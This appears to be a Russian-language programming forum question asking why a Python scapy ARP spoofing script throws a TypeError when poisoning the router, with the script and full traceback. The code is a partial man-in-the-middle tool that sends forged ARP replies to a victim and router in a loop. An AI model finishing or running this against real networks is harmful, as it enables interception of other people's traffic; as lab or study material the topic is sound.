Я создаю скрипт на python, который делает спуфинг arp с помощью модуля scapy. Тем не менее, он говорит, что есть проблема в функции scapy.send (пакет), когда цель установлена на маршрутизаторе. Когда целью является устройство, подключенное к той же сети, оно работает отлично. Для спуфинга ARP пакет должен непрерывно отправляться как жертве, так и маршрутизатору. Как мне этого добиться?
def poison(victim_ip, victim_mac, spoofIp):
packet = scapy.ARP(op=2, pdst=victim_ip, hwdst=victim_mac,
psrc=spoofIp)
scapy.send(packet, verbose=False)
while True:
poison(victimIPAddr, victimMacAddr, routerIpAddr) #works fine
print("1 packet sent") #prints 1 packet sent
poison(routerIpAddr, routerMacAddr, victimIPAddr) #error line
print('\r[+] Accessing...', end="")
sleep(2)
Traceback (most recent call last):
File "network-scanner.py", line 133, in <module>
poison(routerIpAddr, routerMacAddr, victimIPAddr) #error line <--
File "network-scanner.py", line 97, in poison
scapy.send(packet, verbose=False)
File "C:\Program Files\Python37\lib\site-packages\scapy\sendrecv.py", line 318, in send
realtime=realtime, return_packets=return_packets)
File "C:\Program Files\Python37\lib\site-packages\scapy\sendrecv.py", line 290, in __gen_send
s.send(p)
File "C:\Program Files\Python37\lib\site-packages\scapy\arch\pcapdnet.py", line 536, in send
sx = raw(cls() / x)
File "C:\Program Files\Python37\lib\site-packages\scapy\compat.py", line 51, in raw
return bytes(x)
File "C:\Program Files\Python37\lib\site-packages\scapy\packet.py", line 442, in __bytes__
return self.build()
File "C:\Program Files\Python37\lib\site-packages\scapy\packet.py", line 557, in build
p = self.do_build()
File "C:\Program Files\Python37\lib\site-packages\scapy\packet.py", line 542, in do_build
pay = self.do_build_payload()
File "C:\Program Files\Python37\lib\site-packages\scapy\packet.py", line 529, in do_build_payload
return self.payload.do_build()
File "C:\Program Files\Python37\lib\site-packages\scapy\packet.py", line 539, in do_build
pkt = self.self_build()
File "C:\Program Files\Python37\lib\site-packages\scapy\packet.py", line 520, in self_build
p = f.addfield(self, p, val)
File "C:\Program Files\Python37\lib\site-packages\scapy\fields.py", line 330, in addfield
return self._find_fld_pkt_val(pkt, val).addfield(pkt, s, val)
File "C:\Program Files\Python37\lib\site-packages\scapy\fields.py", line 1152, in addfield
return s + struct.pack("%is" % len_pkt, self.i2m(pkt, val))
TypeError: %i format: a number is required, not NoneType
Я ожидаю вывод «Доступ ...», но фактическим выводом является «Ошибка типа:% i формат: требуется число, а не NoneType»